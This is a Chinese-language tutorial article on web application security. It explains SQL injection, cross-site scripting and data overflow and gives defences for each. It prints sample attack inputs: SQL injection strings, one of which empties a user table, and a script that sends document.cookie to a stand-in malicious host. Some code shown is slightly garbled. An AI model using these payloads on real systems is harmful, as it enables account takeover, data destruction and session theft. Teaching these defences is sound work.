开发人员可以运用诸多基本原则来增强Web应用程序的安全性。主要有以下三条原则:
尽量减小权限
对访问资源的账户进行配置时,始终要把这些账户的权限限制在需要的最小权限。
千万不要相信用户的输入,验证任何输入的内容
这对Web应用程序来说尤为重要。确保应用程序并不依赖客户端的验证。在服务器上应当重复所有的检查工作,因为要是没有约束条件,比较容易构建网页副本,有可能导致破坏性代码在运行,或者导致引起系统崩溃的拒绝服务(DoS)攻击。
有节制地使用错误消息
虽然在开发程序时,详细的错误消息很有帮助,但它们对恶意用户来说同样是宝贵的信息来源。所以指定函数名这类细节没有太大的意义。这样的细节记录在另一个日志中比较好。
下面几个示例介绍了没有经过验证的用户输入如何被坏人利用的具体情况,并且介绍了避免这些问题的建议。
SQL注入
如果允许任意的SQL命令执行,就会出现SQL注入(SQL injection)。当SQL语句在代码里面动态构建时,通常会出现这种情况。
以下面用C#编写的代码为例,该代码试图检查用户名/密码组合是否正确:
string username = txtUsername.Text; string password = txtPassword.Text; string SQL = "SELECT * FROM tblUsers WHERE username = '" username "' AND password = '" password "';"; //执行SQL
用户名和密码从服务器端的两个文本框获取,并且SQL语句被创建,然后该语句执行。如果没有记录返回,那么表明用户输入的详细资料不正确,或者没有经过注册; 否则用户可以进入到下一个阶段。
如果用户在两个文本框里面输入了Joe和mypassword,那么SQL语句会是:
SELECT * FROM tblUsers WHERE username = 'Joe' AND password = 'mypassword';
这正是开发人员的意图。不过要是用户往密码文本框里面输入: ' OR 'a' = 'a,SQL就会是:
SELECT * FROM tblUsers WHERE username = 'Joe' AND password = '' OR 'a' = 'a';
现在,密码不重要了,因为'a'='a'总是正确的。如果用来连接到数据库的账户有权删除数据而不是仅仅有权读取数据,就会出现更糟糕的情形。假设用户往密码文本框里面输入: '; DELETE FROM tblUsers WHERE 'a' = 'a'。这会得出以下的语句:
SELECT * FROM tblUsers WHERE username = 'Joe' AND password = '';
DELETE FROM tblUsers WHERE 'a' = 'a';
现在,整个用户表就会被清空。
防止这类问题主要有两种办法。一是,可以使用存储过程(stored procedure)来执行用户验证步骤。设置参数值时,避免使用单引号等特殊符号,因而不可能为WHERE语句添加额外的断言(predicate),也不会运行多个SQL语句。譬如说,可以构建像下面这样的存储过程,接受两个输入参数后,返回表明用户是不是合法用户的第三个参数:
CREATE PROCEDURE spCheckUser
(
@Username VARCHAR(20),
@Password VARCHAR(20),
@IsValid BIT OUTPUT
)
AS
DECLARE @UserCount INT
SELECT @UserCount = COUNT(*)
FROM tblUsers
WHERE Username = @Username
AND Password = @Password
IF @UserCount = 1
SET @IsValid = 1
ELSE
SET @IsValid = 0
现在,初始代码经改动后可以使用存储过程:
SqlCommand sqlCommand = new SqlCommand("spCheckUser");
SqlParameter sqlParam = new SqlParameter("@Username", SqlDbType.VarChar, 20)
sqlParam.Value = txtUsername.Text;
sqlParam.Direction = ParameterDirection.Input;
sqlCommand.Parameters.Add(sqlParam);
sqlParam = new SqlParameter("@Password", SqlDbType.VarChar, 20)
sqlParam.Value = txtPassword.Text;
sqlParam.Direction = ParameterDirection.Input;
sqlCommand.Parameters.Add(sqlParam);
sqlParam = new SqlParameter("@IsValid", SqlDbType.Bit, 1)
sqlParam.Direction = ParameterDirection.Output;
sqlCommand.Parameters.Add(sqlParam); //执行命令,并检索输出参数值
输入和输出参数使用相关类型来说明。如今区别在于,基本的ADO.NET类会把字符串' OR 'a' = 'a当成实际用户的密码来处理,而不是当成可执行SQL来处理。
避免这种安全漏洞的第二种办法(也适用于所有的用户输入)就是,确保特殊字符或者字符串被禁用。对SQL而言,导致问题的那个字符就是单引号,所以如果没法使用存储过程,那么就把所有单引号变成双引号,这可以防止有人构建额外的SQL:
string username = txtUsername.Text;
string password = txtPassword.Text;
username = username.Replace("'","''");
password = password.Replace("'","''");
string SQL = "SELECT *
FROM tblUsers
WHERE username = '" username "'
AND password = '" password "';";
//执行SQL
现在,构建的SQL成为:
SELECT *
FROM tblUsers
WHERE username = 'Joe'
AND password = '''
OR ''a'' = ''a';
这意味着该用户没有被识别。
跨站脚本
跨站脚本(有时缩写成XSS)允许来自一个地方的代码在另一个网站里面运行。正如在大多数情况下一样,只要验证用户输入的内容就可以避免这问题。以接受HTML格式的帖子的公告牌为例。假定用户在发布消息中加入了以下内容:
Hello everyone
要是不对脚本块进行任何验证及删除,这条消息就会出现,标准的警告信息也会显示。假定这个示例没有恶意,再考虑下一个示例:
var I = new Image();
i.src = http://www.maliciousSite.com/save.asp escape(document.cookie);
现在,该用户的cookie会被传送到恶意网站,然后记录在网络日志里面。这不是原先需要的操作,可能会泄露私人信息,或者让不怀好意的人以合法用户的身份登录到公告牌。可以通过采用正则表达式来搜索及清除像< script>及其内容这些元素的办法来防止这个问题。
数据溢出
数据过多可能会带来问题,这有两个原因。一是,因为应用程序往往会崩溃,譬如说,如果程序试图把50个字符写入到列大小只有40个字符的数据库表,就会引起程序崩溃。显然,良好的错误捕获方法应当可以防止这一问题,但如果用户输入的是有效内容,而且来自可信用户,那么这个问题往往不会发生。数据过多轻则带来差劲的用户体验,重则导致严重消耗服务器资源,要是问题频频发生,还会导致整个服务无法使用。如果输入内容专门旨在导致错误、机器过载,这就叫拒绝服务(DoS)攻击。
第二个问题是缓冲器溢出。有时候,输入的数据会溢出旨在存放它的内存区,而成为可执行代码的一部分。只要对输入到输入框中的数据进行精心设计,攻击者就可以在服务器上执行任意代码。
为了避免该问题,不要依靠客户端技术,譬如设置文本框的最大长度属性。这很容易被跳过。有些浏览器(包括IE在内)允许javascript URL。如果网页的文本框有一个标为txtSurname的id,那么下列代码拷贝到浏览器的地址栏上后,就会改变最大长度属性:
javascript:document.getElementById
("txtSurname").maxLength = 1000
防止这个问题的方法仍然是在服务器上进行检查,看看输入内容是否超过所需长度; 必要的话缩减输入内容。(作者单位系河南省镇平县教师进修学校)